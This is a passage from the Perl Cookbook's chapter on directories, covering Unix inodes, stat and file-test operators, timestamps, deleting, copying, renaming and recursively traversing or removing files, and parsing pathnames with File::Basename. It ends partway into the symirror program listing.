Splitting a Filename into Its Component Parts
Program: symirror
Program: lst

Unix has its weak points but its file system is not one of them.

- Chris Torek

9.0. Introduction

To fully understand directories, you need to be acquainted with the underlying mechanics. The following explanation is slanted towards the Unix filesystem, for whose system calls and behavior Perl's directory access routines were designed, but it is applicable to some degree to most other platforms.

A filesystem consists of two parts: a set of data blocks where the contents of files and directories are kept, and an index to those blocks. Each entity in the filesystem has an entry in the index, be it a plain file, a directory, a link, or a special file like those in /dev. Each entry in the index is called an inode (short for index node). Since the index is a flat index, inodes are addressed by number.

A directory is a specially formatted file, whose inode entry marks it as a directory. A directory's data blocks contain a set of pairs. Each pair consists of the name of something in that directory and the inode number of that thing. The data blocks for /usr/bin might contain:

Name | Inode
bc | 17
du | 29
nvi | 8
pine | 55
vi | 8

Every directory is like this, even the root directory ( / ). To read the file /usr/bin/vi, the operating system reads the inode for /, reads its data blocks to find the entry for /usr, reads /usr 's inode, reads its data block to find /usr/bin, reads /usr/bin's inode, reads its data block to find /usr/bin/vi, reads /usr/bin/vi 's inode, and then reads the data from its data block.

The name in a directory entry isn't fully qualified. The file /usr/bin/vi has an entry with the name vi in the /usr/bin directory. If you open the directory /usr/bin and read entries one by one, you get filenames like patch, rlogin, and vi instead of fully qualified names like /usr/bin/patch, /usr/bin/rlogin, and /usr/bin/vi.

The inode has more than a pointer to the data blocks. Each inode also contains the type of thing it represents (directory, plain file, etc.), the size of the thing, a set of permissions bits, owner and group information, the time the thing was last modified, the number of directory entries that point to this inode, and so on.

Some operations on files change the contents of the file's data blocks; some change just the inode. For instance, appending to or truncating a file updates its inode by changing the size field. Other operations change the directory entry that points to the file's inode. Changing a file's name changes only the directory entry; it updates neither the file's data nor its inode.

Three fields in the inode structure contain the last access, change, and modification times: atime, ctime, and mtime. The atime field is updated each time the pointer to the file's data blocks is followed and the file's data is read. The mtime field is updated each time the file's data changes. The ctime field is updated each time the file's inode changes. The ctime is not creation time; there is no way under standard Unix to find a file's creation time.

Reading a file changes its atime only. Changing a file's name doesn't change atime, ctime, or mtime because it was only the directory entry that changed (it does change the atime and mtime of the directory the file is in, though). Truncating a file doesn't change its atime (because we haven't read, we've just changed the size field in its directory entry), but it does change its ctime because we changed its size field and its mtime because we changed its contents (even though we didn't follow the pointer to do so).

We can access a file or directory's inode by calling the built-in function stat on its name. For instance, to get the inode for /usr/bin/vi, say:

@entry = stat("/usr/bin/vi") or die "Couldn't stat /usr/bin/vi : $!";

To get the inode for the directory /usr/bin, say:

@entry = stat("/usr/bin")    or die "Couldn't stat /usr/bin : $!";

You can stat filehandles, too:

@entry = stat(INFILE)        or die "Couldn't stat INFILE : $!";

The stat function returns a list of the values of the fields in the directory entry. If it couldn't get this information (for instance, if the file doesn't exist), it returns an empty list. It's this empty list we test for with the or die construct. Be careful of using || die because that throws the expression into scalar context, in which case stat only reports whether it worked. It doesn't return the list of values. The _ cache referred to below will still be updated, though.

The values returned by stat are listed in the following table.

Element | Abbreviation | Description
0 | dev | Device number of filesystem
1 | ino | Inode number (the "pointer" field)
2 | mode | File mode (type and permissions)
3 | nlink | Number of (hard) links to the file
4 | uid | Numeric user ID of file's owner
5 | gid | Numeric group ID of file's owner
6 | rdev | The device identifier (special files only)
7 | size | Total size of file, in bytes
8 | atime | Last access time, in seconds, since the Epoch
9 | mtime | Last modify time, in seconds, since the Epoch
10 | ctime | Inode change time, in seconds, since the Epoch
11 | blksize | Preferred block size for filesystem I/O
12 | blocks | Actual number of blocks allocated

The standard File::stat module provides a named interface to these values. It overrides the stat function, so instead of returning the preceding array, it returns an object with a method for each attribute:

use File::stat;

$inode = stat("/usr/bin/vi");
$ctime = $inode->ctime;
$size  = $inode->size;

In addition, Perl provides a set of operators that call stat and return one value only. These are collectively referred to as the -X operators because they all take the form of a dash followed by a single character. They're modelled on the shell's test operators:

-X | Stat field | Meaning
-r | mode | File is readable by effective UID/GID
-w | mode | File is writable by effective UID/GID
-x | mode | File is executable by effective UID/GID
-o | mode | File is owned by effective UID
-R | mode | File is readable by real UID/GID
-W | mode | File is writable by real UID/GID
-X | mode | File is executable by real UID/GID
-O | mode | File is owned by real UID
-e |  | File exists
-z | size | File has zero size
-s | size | File has nonzero size (returns size)
-f | mode,rdev | File is a plain file
-d | mode,rdev | File is a directory
-l | mode | File is a symbolic link
-p | mode | File is a named pipe (FIFO)
-S | mode | File is a socket
-b | rdev | File is a block special file
-c | rdev | File is a character special file
-t | rdev | Filehandle is opened to a tty
-u | mode | File has setuid bit set
-g | mode | File has setgid bit set
-k | mode | File has sticky bit set
-T | N/A | File is a text file
-B | N/A | File is a binary file (opposite of -T)
-M | mtime | Age of file in days when script started
-A | atime | Same for access time
-C | ctime | Same for inode change time (not creation)

The stat and the -X operators cache the values that the stat (2) system call returned. If you then call stat or a -X operator with the special filehandle _ (a single underscore), it won't call stat again but will instead return information from its cache. This lets you test many properties of a single file without calling stat (2) many times or introducing a race condition:

open( F, "< $filename" )
    or die "Opening $filename: $!\n";
unless (-s F && -T _) {
    die "$filename doesn't have text in it.\n";
}

The stat call just returns the information in one inode, though. How do we get a list of the contents of a directory? For that, Perl provides opendir, readdir, and closedir:

opendir(DIRHANDLE, "/usr/bin") or die "couldn't open /usr/bin : $!";
while ( defined ($filename = readdir(DIRHANDLE)) ) {
    print "Inside /usr/bin is something called $filename\n";
}
closedir(DIRHANDLE);

These directory reading functions are designed to look like the file open and close functions. Where open takes a filehandle, though, opendir takes a directory handle. They look the same (a bare word) but they are different: you can open(BIN, "/a/file") and opendir(BIN, "/a/dir") and Perl won't get confused. You might, but Perl won't. Because filehandles and directory handles are different, you can't use the < > operator to read from a directory handle.

The filenames in a directory aren't necessarily stored alphabetically. If you want to get an alphabetical list of files, you'll have to read all the entries and sort them yourself.

The separation of directory information from inode information can create some odd situations. Operations that change directory only require write permission on the directory, not on the file. Most operations that change information in the file's data require write permission to the file. Operations that alter the permissions of the file require that the caller be the file's owner or the superuser. This can lead to the interesting situation of being able to delete a file you can't read, or write to a file you can't remove.

Although these situations make the filesystem structure seem odd at first, they're actually the source of much of Unix's power. Links, two filenames that refer to the same file, are now extremely simple. The two directory entries just list the same inode number. The inode structure includes a count of the number of directory entries referring to the file (nlink in the values returned by stat), but it lets the operating system store and maintain only one copy of the modification times, size, and other file attributes. When one directory entry is unlinked, data blocks are only deleted if the directory entry was the last one that referred to the file's inode - and no processes still have the file open. You can unlink an open file, but its disk space won't be released until the last close.

Links come in two forms. The kind described above, where two directory entries list the same inode number (like vi and nvi in the earlier table), are called hard links. The operating system cannot tell the first directory entry of a file (the one created when the file was created) from any subsequent hard links to it. The other kind, soft or symbolic links, are very different. A soft link is a special type of file whose data block stores the filename the file is linked to. Soft links have a different mode value, indicating they're not regular files. The operating system, when asked to open a soft link, instead opens the filename contained in the data block.

Executive Summary

Filenames are kept in a directory, separate from the size, protections, and other metadata kept in an inode.

The stat function returns the inode information (metadata).

opendir, readdir, and friends provide access to filenames in a directory through a directory handle.

Directory handles look like filehandles, but they are not the same. In particular, you can't use < > on directory handles.

The permissions on a directory determine whether you can read and write the list of filenames. The permissions on a file determine whether you can change the file's metadata or contents.

Three different times are stored in an inode. None of them is the file's creation time.

Previous: 8.20. Program: laston | Perl Cookbook | Next: 9.1. Getting and Setting Timestamps
8.20. Program: laston | Book Index | 9.1. Getting and Setting Timestamps


Recipe 9.1. Getting and Setting Timestamps

Perl CookbookSearch this book

9.1. Getting and Setting Timestamps

Problem

You need to retrieve or alter when a file was last modified (written or changed) or accessed (read).

Solution

Use stat to get those times and utime to set them. Both functions are built into Perl:

($READTIME, $WRITETIME) = (stat($filename))[8,9];

utime($NEWREADTIME, $NEWWRITETIME, $filename);

Discussion

As explained in the Introduction, three different times are associated with an inode in the traditional Unix filesystem. Of these, any user can set the atime and mtime with utime, assuming the user has write access to the parent directory of the file. There is effectively no way to change the ctime. This example shows how to call utime:

$SECONDS_PER_DAY = 60 * 60 * 24;
($atime, $mtime) = (stat($file))[8,9];
$atime -= 7 * $SECONDS_PER_DAY;
$mtime -= 7 * $SECONDS_PER_DAY;

utime($atime, $mtime, $file)
    or die "couldn't backdate $file by a week w/ utime: $!";

You must call utime with both atime and mtime values. If you only want to change one, you must call stat first to get the other:

$mtime = (stat $file)[9];
utime(time, $mtime, $file);

This is easier to understand if you use File::stat:

use File::stat;
utime(time, stat($file)->mtime, $file);

Use utime to make it appear as though you never touched a file at all (beyond its ctime being updated). For example, to edit a file, use the program in Example 9.1.

Example 9.1: uvi

#!/usr/bin/perl -w
# uvi - vi a file without changing its access times

$file = shift or die "usage: uvi filename\n";
($atime, $mtime) = (stat($file))[8,9];
system($ENV{EDITOR} || "vi", $file);
utime($atime, $mtime, $file)
    or die "couldn't restore $file to orig times: $!";

See Also

The stat and utime functions in perlfunc (1) and in Chapter 3 of Programming Perl; the standard File::stat module (also in Chapter 7 of Programming Perl; your system's utime (3) manpage

Previous: 9.0. Introduction | Perl Cookbook | Next: 9.2. Deleting a File
9.0. Introduction | Book Index | 9.2. Deleting a File


Recipe 9.2. Deleting a File

Perl CookbookSearch this book

9.2. Deleting a File

Problem

You want to delete a file. Perl's delete function isn't what you want.

Solution

Use Perl's standard unlink function:

unlink($FILENAME)                 or die "Can't delete $FILENAME: $!\n";
unlink(@FILENAMES) == @FILENAMES  or die "Couldn't unlink all of @FILENAMES: $!\n";

Discussion

The unlink function takes its name from the Unix system call. Perl's unlink takes a list of filenames and returns the number of filenames successfully deleted. This return value can then be tested with || or or:

unlink($file) or die "Can't unlink $file: $!";

unlink doesn't report which filenames it couldn't delete, only how many it did delete. Here's one way to test for successful deletion of many files and to report the number deleted:

unless (($count = unlink(@filelist)) == @filelist) {
    warn "could only delete $count of "
            . (@filelist) . " files";
}

A foreach over @filelist would permit individual error messages.

Under Unix, deleting a file from a directory requires write access to the directory,[1] not to the file, because it's the directory you're changing. Under some circumstances, you could remove a file you couldn't write to or write to a file you couldn't remove.

[1] Unless the sticky bit, mode 01000, is turned on for the directory, which further restricts deletions to be by the owner only. Shared directories like /tmp are usually mode 01777 for security reasons.

If you delete a file that some process still has open, the operating system removes the directory entry but doesn't free up data blocks until all processes have closed the file. This is how the new_tmpfile function in IO::File (see Recipe 7.5) works.

See Also

The unlink function in perlfunc (1) and in Chapter 3 of Programming Perl; your system's unlink (2) manpage; we use the idea of a file that has been deleted but is still accessible in Recipe 7.5

Previous: 9.1. Getting and Setting Timestamps | Perl Cookbook | Next: 9.3. Copying or Moving a File
9.1. Getting and Setting Timestamps | Book Index | 9.3. Copying or Moving a File


Recipe 9.3. Copying or Moving a File

Perl CookbookSearch this book

9.3. Copying or Moving a File

Problem

You need to copy a file, but Perl has no built-in copy command.

Solution

Use the copy function from the standard File::Copy module:

use File::Copy;
copy($oldfile, $newfile);

You can do it by hand:

open(IN,  "< $oldfile")                     or die "can't open $oldfile: $!";
open(OUT, "> $newfile")                     or die "can't open $newfile: $!";

$blksize = (stat IN)[11] || 16384;          # preferred block size?
while ($len = sysread IN, $buf, $blksize) {
    if (!defined $len) {
        next if $! =~ /^Interrupted/;       # ^Z and fg
        die "System read error: $!\n";
    }
    $offset = 0;
    while ($len) {          # Handle partial writes.
        defined($written = syswrite OUT, $buf, $len, $offset)
            or die "System write error: $!\n";
        $len    -= $written;
        $offset += $written;
    };
}

close(IN);
close(OUT);

Or you can call your system's copy program:

system("cp $oldfile $newfile");       # unix
system("copy $oldfile $newfile");     # dos, vms

Discussion

The File::Copy module provides copy and move functions. These are more convenient than resorting to low-level I/O calls and more portable than calling system. move works across file-system boundaries; the standard Perl built-in rename (usually) does not.

use File::Copy;

copy("datafile.dat", "datafile.bak")
    or die "copy failed: $!";

move("datafile.new", "datafile.dat")
    or die "move failed: $!";

Because these functions return only a simple success status, you can't easily tell which file prevented the copy or move from being done. Copying the files manually lets you pinpoint which files didn't copy, but it fills your program with complex sysreads and syswrites.

See Also

Documentation for the standard File::Copy module (also in Chapter 7 of Programming Perl); the rename, read, and syswrite functions in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 9.2. Deleting a File | Perl Cookbook | Next: 9.4. Recognizing Two Names for the Same File
9.2. Deleting a File | Book Index | 9.4. Recognizing Two Names for the Same File


Recipe 9.4. Recognizing Two Names for the Same File

Perl CookbookSearch this book

9.4. Recognizing Two Names for the Same File

Problem

You want to identify if two filenames in a list correspond to the same file on disk (because of hard and soft links, two filenames can refer to a single file). You might do this to make sure that you don't change a file you've already worked with.

Solution

Maintain a hash, keyed by the device and inode number of the files you've seen. The values are the names of the files:

%seen = ();

sub do_my_thing {
    my $filename = shift;
    my ($dev, $ino) = stat $filename;

    unless ($seen{$dev, $ino}++) {
        # do something with $filename because we haven't
        # seen it before
    }
}

Discussion

A key in %seen is made by combining the device number ($dev) and inode number ($ino) of each file. Files that are the same will have the same device and inode numbers, so they will have the same key.

If you want to maintain a list of all files of the same name, instead of counting the number of times seen, save the name of the file in an anonymous array.

foreach $filename (@files) {
    ($dev, $ino) = stat $filename;
    push( @{ $seen{$dev,$ino} }, $filename);
}

foreach $devino (sort keys %seen) {
    ($dev, $ino) = split(/$;/o, $devino);
    if (@{$seen{$devino}} > 1) {
        # @{$seen{$devino}} is a list of filenames for the same file
    }
}

The $; variable contains the separator string using the old multidimensional associative array emulation syntax, $hash{$x,$y,$z}. It's still a one-dimensional hash, but it has composite keys. The key is really join($; => $x, $y, $z). The split separates them again. Although you'd normally just use a real multilevel hash directly, here there's no need, and it's cheaper not to.

See Also

The $; variable in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl; the stat function in perlfunc (1) and in Chapter 3 of Programming Perl; Chapter 5, Hashes

Previous: 9.3. Copying or Moving a File | Perl Cookbook | Next: 9.5. Processing All Files in a Directory
9.3. Copying or Moving a File | Book Index | 9.5. Processing All Files in a Directory


Recipe 9.5. Processing All Files in a Directory

Perl CookbookSearch this book

9.5. Processing All Files in a Directory

Problem

You want to do something to each file in a particular directory.

Solution

Use opendir to open the directory and then readdir to retrieve every filename:

opendir(DIR, $dirname) or die "can't opendir $dirname: $!";
while (defined($file = readdir(DIR))) {
    # do something with "$dirname/$file"
}
closedir(DIR);

Discussion

The opendir, readdir, and closedir functions operate on directories as open, < >, and close operate on files. Both use handles, but the directory handles used by opendir and friends are different from the file handles used by open and friends. In particular, you can't use < > on a directory handle.

In scalar context, readdir returns the next filename in the directory until it reaches the end of the directory when it returns undef. In list context it returns the rest of the filenames in the directory or an empty list if there were no files left. As explained in the Introduction, the filenames returned by readdir do not include the directory name. When you work with the filenames returned by readdir, you must either move to the right directory first or prepend the directory to the filename.

This shows one way of prepending:

$dir = "/usr/local/bin";
print "Text files in $dir are:\n";
opendir(BIN, $dir) or die "Can't open $dir: $!";
while( defined ($file = readdir BIN) ) {
    print "$file\n" if -T "$dir/$file";
}
closedir(BIN);

We test $file with defined because simply saying while ($file = readdir BIN) would only be testing truth and not definedness. Although the loop would end when readdir ran out of files to return, it would also end prematurely if a file had the name "0".

The readdir function will return the special directories "." (the directory itself) and ".." (the parent of the directory). Most people skip the files with code like:

while ( defined ($file = readdir BIN) ) {
    next if $file =~ /^\.\.?$/;     # skip . and ..
    # ...
}

Like filehandles, directory handles are per-package constructs. Further, you have two ways of getting a local directory handle: use local *DIRHANDLE or use an object module (see Recipe 7.16). The appropriate module in this case is DirHandle. The following code uses DirHandle and produces a sorted list of plain files that aren't dotfiles (that is, whose names don't begin with a "."):

use DirHandle;

sub plainfiles {
   my $dir = shift;
   my $dh = DirHandle->new($dir)   or die "can't opendir $dir: $!";
   return sort                     # sort pathnames
          grep {    -f     }       # choose only "plain" files
          map  { "$dir/$_" }       # create full paths
          grep {  !/^\./   }       # filter out dot files
          $dh->read();             # read all entries
}

DirHandle's read method behaves just like readdir, returning the rest of the filenames. The bottom grep only returns those that don't begin with a period. The map turns the filenames returned by read into fully qualified filenames, and the top grep filters out directories, links, etc. The resulting list is then sorted and returned.

In addition to readdir, there's also rewinddir (to move the directory handle back to the start of the filename list), seekdir (to move to a specific offset in the list), and telldir (to find out how far from the start of the list you are).

See Also

The closedir, opendir, readdir, rewinddir, seekdir, and telldir functions in perlfunc (1) and in Chapter 3 of Programming Perl; documentation for the standard DirHandle module (also in Chapter 7 of Programming Perl)

Previous: 9.4. Recognizing Two Names for the Same File | Perl Cookbook | Next: 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
9.4. Recognizing Two Names for the Same File | Book Index | 9.6. Globbing, or Getting a List of Filenames Matching a Pattern


Recipe 9.6. Globbing, or Getting a List of Filenames Matching a Pattern

Perl CookbookSearch this book

9.6. Globbing, or Getting a List of Filenames Matching a Pattern

Problem

You want to get a list of filenames similar to MS-DOS's *.* and Unix's *.h (this is called globbing).

Solution

Perl provides globbing with the semantics of the Unix C shell through the glob keyword and < >:

@list = <*.c>;
@list = glob("*.c");

You can also use readdir to extract the filenames manually:

opendir(DIR, $path);
@files = grep { /\.c$/ } readdir(DIR);
closedir(DIR);

The CPAN module File::KGlob does globbing without length limits:

use File::KGlob;

@files = glob("*.c");

Discussion

Perl's built-in glob and <WILDCARD> notation (not to be confused with <FILEHANDLE>) currently use an external program to get the list of filenames on most platforms. This program is csh on Unix,[2] and a program called dosglob.exe on Windows. On VMS and the Macintosh, file globs are done internally without an external program. Globs are supposed to give C shell semantics on non-Unix systems to encourage portability. The use of the shell on Unix also makes this inappropriate for setuid scripts.

[2] Usually. If tcsh is installed, Perl uses that because it's safer. If neither is installed, /bin/sh is used.

To get around this, you can either roll your own selection mechanism using the built-in opendir or CPAN's File::KGlob, neither of which uses external programs. File::KGlob provides Unix shell-like globbing semantics, whereas opendir lets you select files with Perl's regular expressions.

At its simplest, an opendir solution uses grep to filter the list returned by readdir:

@files = grep { /\.[ch]$/i } readdir(DH);

You could also do this with the DirHandle module:

use DirHandle;

$dh = DirHandle->new($path)   or die "Can't open $path : $!\n";
@files = grep { /\.[ch]$/i } $dh->read();

As always, the filenames returned don't include the directory. When you use the filename, you'll need to prepend the directory name:

opendir(DH, $dir)        or die "Couldn't open $dir for reading: $!";

@files = ();
while( defined ($file = readdir(DH)) ) {
    next unless /\.[ch]$/i;

    my $filename = "$dir/$file";
    push(@files, $filename) if -T $file;
}

The following example combines directory reading and filtering with the Schwartzian Transform from Chapter 4, Arrays, for efficiency. It sets @dirs to a sorted list of the subdirectories in a directory whose names are all numeric:

@dirs = map  { $_->[1] }                # extract pathnames
        sort { $a->[0] <=> $b->[0] }    # sort names numeric
        grep { -d $_->[1] }             # path is a dir
        map  { [ $_, "$path/$_" ] }     # form (name, path)
        grep { /^\d+$/ }                # just numerics
        readdir(DIR);                   # all files

Recipe 4.15 explains how to read these strange-looking constructs. As always, formatting and documenting your code can make it much easier to read and understand.

See Also

The opendir, readdir, closedir, grep, map, and sort functions in perlfunc (1) and in Chapter 3 of Programming Perl; documentation for the standard DirHandle module (also in Chapter 7 of Programming Perl); the "I/O Operators" section of perlop (1), and the "Filename Globbing Operator" section of Chapter 2 of Programming Perl; we talk more about globbing in Recipe 6.9; Recipe 9.7

Previous: 9.5. Processing All Files in a Directory | Perl Cookbook | Next: 9.7. Processing All Files in a Directory Recursively
9.5. Processing All Files in a Directory | Book Index | 9.7. Processing All Files in a Directory Recursively


Recipe 9.7. Processing All Files in a Directory Recursively

Perl CookbookSearch this book

9.7. Processing All Files in a Directory Recursively

Problem

You want to do something to each file and subdirectory in a particular directory.

Solution

Use the standard File::Find module.

use File::Find;
sub process_file {
    # do whatever;
}
find(\&process_file, @DIRLIST);

Discussion

File::Find provides a convenient way to process a directory recursively. It does the directory scans and recursion for you. All you do is pass find a code reference and a list of directories. For each file in those directories, recursively, find calls your function.

Before calling your function, find changes to the directory being visited, whose path relative to the starting directory is stored in the $File::Find::dir variable. $_ is set to the basename of the file being visited, and the full path of that file can be found in $File::Find::name. Your code can set $File::Find::prune to true to tell find not to descend into the directory just seen.

This simple example demonstrates File::Find. We give find an anonymous subroutine that prints the name of each file visited and adds a / to the names of directories:

@ARGV = qw(.) unless @ARGV;
use File::Find;
find sub { print $File::Find::name, -d && '/', "\n" }, @ARGV;

This prints a / after directory names using the -d file test operator, which returns the empty string '' if it fails.

The following program prints the sum of everything in a directory. It gives find an anonymous subroutine to keep a running sum of the sizes of each file it visits. That includes all inode types, including the sizes of directories and symbolic links, not just regular files. Once the find function returns, the accumulated sum is displayed.

use File::Find;
@ARGV = ('.') unless @ARGV;
my $sum = 0;
find sub { $sum += -s }, @ARGV;
print "@ARGV contains $sum bytes\n";

This code finds the largest single file within a set of directories:

use File::Find;
@ARGV = ('.') unless @ARGV;
my ($saved_size, $saved_name) = (-1, '');
sub biggest {
    return unless -f && -s _ > $saved_size;
    $saved_size = -s _;
    $saved_name = $File::Find::name;
}
find(\&biggest, @ARGV);
print "Biggest file $saved_name in @ARGV is $saved_size bytes long.\n";

We use $saved_size and $saved_name to keep track of the name and the size of the largest file visited. If we find a file bigger than the largest seen so far, we replace the saved name and size with the current ones. When the find is done running, the largest file and its size are printed out, rather verbosely. A more general tool would probably just print the filename, its size, or both. This time we used a named function rather than an anonymous one because the function was getting big.

It's simple to change this to find the most recently changed file:

use File::Find;
@ARGV = ('.') unless @ARGV;
my ($age, $name);
sub youngest {
    return if defined $age && $age > (stat($_))[9];
    $age = (stat(_))[9];
    $name = $File::Find::name;
}
find(\&youngest, @ARGV);
print "$name " . scalar(localtime($age)) . "\n";

The File::Find module doesn't export its $name variable, so always refer to it by its fully qualified name. The example in Example 9.2 is more a demonstration of namespace munging than of recursive directory traversal, although it does find all the directories. It makes $name in our current package an alias for the one in File::Find, which is essentially how Exporter works. Then it declares its own version of find with a prototype that lets it be called like grep or map.

Example 9.2: fdirs

#!/usr/bin/perl -lw
# fdirs - find all directories
@ARGV = qw(.) unless @ARGV;
use File::Find ();
sub find(&@) { &File::Find::find }
*name = *File::Find::name;
find { print $name if -d } @ARGV;

Our find only calls the find in File::Find, which we were careful not to import by specifying an () empty list in the use statement. Rather than write this:

find sub { print $File::Find::name if -d }, @ARGV;

we can write the more pleasant:

find { print $name if -d } @ARGV;

See Also

The documentation for the standard File::Find and Exporter modules (also in Chapter 7 of Programming Perl); your system's find (1) manpage; Recipe 9.6

Previous: 9.6. Globbing, or Getting a List of Filenames Matching a Pattern | Perl Cookbook | Next: 9.8. Removing a Directory and Its Contents
9.6. Globbing, or Getting a List of Filenames Matching a Pattern | Book Index | 9.8. Removing a Directory and Its Contents


Recipe 9.8. Removing a Directory and Its Contents

Perl CookbookSearch this book

9.8. Removing a Directory and Its Contents

Problem

You want to remove a directory tree recursively without using rm -r.

Solution

Use the finddepth function from File::Find, shown in Example 9.3.

Example 9.3: rmtree1

#!/usr/bin/perl
# rmtree1 - remove whole directory trees like rm -r
use File::Find qw(finddepth);
die "usage: $0 dir ..\n" unless @ARGV;
*name = *File::Find::name;
finddepth \&zap, @ARGV;
sub zap {
    if (!-l && -d _) {
        print "rmdir $name\n";
        rmdir($name)  or warn "couldn't rmdir $name: $!";
    } else {
        print "unlink $name";
        unlink($name) or warn "couldn't unlink $name: $!";
    }
}

Or use rmtree from File::Path, as shown in Example 9.4.

Example 9.4: rmtree2

#!/usr/bin/perl
# rmtree2 - remove whole directory trees like rm -r
use File::Path;
die "usage: $0 dir ..\n" unless @ARGV;
    foreach $dir (@ARGV) {
    rmtree($dir);
}

WARNING: These programs remove an entire directory tree. Use with extreme caution!

Discussion

The File::Find module exports both a find function, which traverses a tree in the (essentially random) order the files occur in the directory, as well as a finddepth function, which is guaranteed to visit all the files underneath a directory before visiting the directory itself. This is exactly what we need to remove a directory and its contents.

We have to use two different functions, rmdir and unlink. The unlink function deletes only files, and rmdir only deletes empty directories. We need to use finddepth to make sure that we've first removed the directory's contents before we rmdir the directory itself.

Check first that the file isn't a symbolic link before determining if it's a directory. -d returns true for both a directory and a symbol link to a directory. stat, lstat, and the file test operators like -d all use the operating system call stat (2), which returns all the information kept about a file in an inode. These functions and operators retain that information and let you do more tests on the same file with the special underscore ( _ ) filehandle. This avoids redundant system calls that would return the same information, slowly.

See Also

The unlink , rmdir, lstat, and stat functions in perlfunc (1) and in Chapter 3 of Programming Perl; the documentation for the standard File::Find module; your system's rm (1) and stat (2) manpages; the -X section of perlfunc (1), and the "Named Unary and File Test Operators" section of Chapter 2 of Programming Perl

Previous: 9.7. Processing All Files in a Directory Recursively | Perl Cookbook | Next: 9.9. Renaming Files
9.7. Processing All Files in a Directory Recursively | Book Index | 9.9. Renaming Files


Recipe 9.9. Renaming Files

Perl CookbookSearch this book

9.9. Renaming Files

Problem

You have a lot of files whose names you want to change.

Solution

Use a foreach loop and the rename function:

foreach $file (@NAMES) {
    my $newname = $file;
    # change $newname
    rename($file, $newname) or
        warn "Couldn't rename $file to $newname: $!\n";
}

Discussion

This is straightforward. rename takes two arguments. The first is the filename to change, and the second is its new name. Perl's rename is a front end to the operating system's rename system call, which typically won't let you rename files across filesystem boundaries.

A small change turns this into a generic rename script, such as the one by Larry Wall shown in Example 9.5.

Example 9.5: rename

#!/usr/bin/perl -w
# rename - Larry's filename fixer
$op = shift or die "Usage: rename expr [files]\n";
chomp(@ARGV = <STDIN>) unless @ARGV;
for (@ARGV) {
    $was = $_;
    eval $op;
    die $@ if $@;
    rename($was,$_) unless $was eq $_;
}

This script's first argument is Perl code that alters the filename (stored in $_ ) to reflect how you want the file renamed. It can do this because it uses an eval to do the hard work. It also skips rename calls when the filename is untouched. This lets you simply use wildcards like rename EXPR * instead of making long lists of filenames.

Here are five examples of calling the rename program from your shell:

% rename 's/\.orig$//'  *.orig
% rename 'tr/A-Z/a-z/ unless /^Make/'  *
% rename '$_ .= ".bad"'  *.f
% rename 'print "$_: "; s/foo/bar/ if <STDIN> =~ /^y/i'  *
% find /tmp -name '*~' -print | rename 's/^(.+)~$/.#$1/'

The first shell command removes a trailing ".orig" from each filename.

The second converts uppercase to lowercase. Because a translation is used rather than the lc function, this conversion won't be locale-aware. To fix that, you'd have to write:

% rename 'use locale; $_ = lc($_) unless /^Make/' *

The third appends ".bad" to each Fortran file ending in ".f", something a lot of us have wanted to do for a long time.

The fourth prompts the user for the change. Each file's name is printed to standard output and a response is read from standard input. If the user types something starting with a "y" or "Y", any "foo" in the filename is changed to "bar".

The fifth uses find to locate files in /tmp that end with a tilde. It renames these so that instead of ending with a tilde, they start with a dot and a pound sign. In effect, this switches between two common conventions for backup files.

The rename script exemplifies the powerful Unix tool-and-filter philosophy. Even though we could have created a dedicated command to do the lowercase conversion, it's nearly as easy to write a flexible, reusable tool by embedding an eval. By allowing the filenames to be read from standard input, we don't have to build in the recursive directory walk. Instead, we just use find, which performs this function well. There's no reason to recreate the wheel, although using File::Find we could have.

See Also

The rename function in perlfunc (1) and in Chapter 3 of Programming Perl; your system's mv (1) and rename (2) manpages; the documentation for the standard File::Find module (also in Chapter 7 of Programming Perl)

Previous: 9.8. Removing a Directory and Its Contents | Perl Cookbook | Next: 9.10. Splitting a Filename into Its Component Parts
9.8. Removing a Directory and Its Contents | Book Index | 9.10. Splitting a Filename into Its Component Parts


Recipe 9.10. Splitting a Filename into Its Component Parts

Perl CookbookSearch this book

9.10. Splitting a Filename into Its Component Parts

Problem

You want to extract a filename, its enclosing directory, or the extension(s) from a string that contains a full pathname.

Solution

Use routines from the standard File::Basename module.

use File::Basename;

$base = basename($path);
$dir  = dirname($path);
($base, $dir, $ext) = fileparse($path);

Discussion

The standard File::Basename module contains routines to split up a filename. dirname and basename supply the directory and filename portions respectively:

$path = '/usr/lib/libc.a';
$file = basename($path);
$dir  = dirname($path);

print "dir is $dir, file is $file\n";
# dir is /usr/lib, file is libc.a

The fileparse function can be used to extract the extension. To do so, pass fileparse the path to decipher and a regular expression that matches the extension. You must give fileparse this pattern because an extension isn't necessarily dot-separated. Consider ".tar.gz"--is the extension ".tar", ".gz", or ".tar.gz"? By specifying the pattern, you control which of these you get.

$path = '/usr/lib/libc.a';
($name,$dir,$ext) = fileparse($path,'\..*');

print "dir is $dir, name is $name, extension is $ext\n";
# dir is /usr/lib/, name is libc, extension is .a

By default, these routines parse pathnames using your operating system's normal conventions for directory separators by looking at the $^O variable, which holds a string identifying the system you're running on. That value was determined when Perl was built and installed. You can change the default by calling the fileparse_set_fstype routine. This alters the behavior of subsequent calls to the File::Basename functions:

fileparse_set_fstype("MacOS");
$path = "Hard%20Drive:System%20Folder:README.txt";
($name,$dir,$ext) = fileparse($path,'\..*');

print "dir is $dir, name is $name, extension is $ext\n";
# dir is Hard%20Drive:System%20Folder, name is README, extension is .txt

To pull out just the extension, you might use this:

sub extension {
    my $path = shift;
    my $ext = (fileparse($path,'\..*'))[2];
    $ext =~ s/^\.//;
    return $ext;
}

When called on a file like source.c.bak, this returns an extension of "c.bak", not just "bak". If you wanted just ".bak" returned, use '\..*?' as the second argument to fileparse.

When passed a pathname with a trailing directory separator, such as lib/, fileparse considers the directory name to be "lib/", whereas dirname considers it to be ".".

See Also

The documentation for the standard File::Basename module (also in Chapter 7 of Programming Perl); the entry for $^O in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl

Previous: 9.9. Renaming Files | Perl Cookbook | Next: 9.11. Program: symirror
9.9. Renaming Files | Book Index | 9.11. Program: symirror


Recipe 9.11. Program: symirror

Perl CookbookSearch this book

9.11. Program: symirror

The program in Example 9.6 recursively duplicates a directory tree, making a shadow forest full of symlinks pointing back at the real files.

Example 9.6: symirror

#!/usr/bin/perl -w
# symirror - build spectral forest of symlinks
use strict;
use File::Find;
use Cwd;

my ($srcdir, $dstdir);
my $cwd = getcwd();
die "usage: $0 realdir mirrordir" unless @ARGV == 2;

for (($srcdir, $dstdir) = @ARGV) {
    my $is_dir = -d;
    next if $is_dir;                        # cool
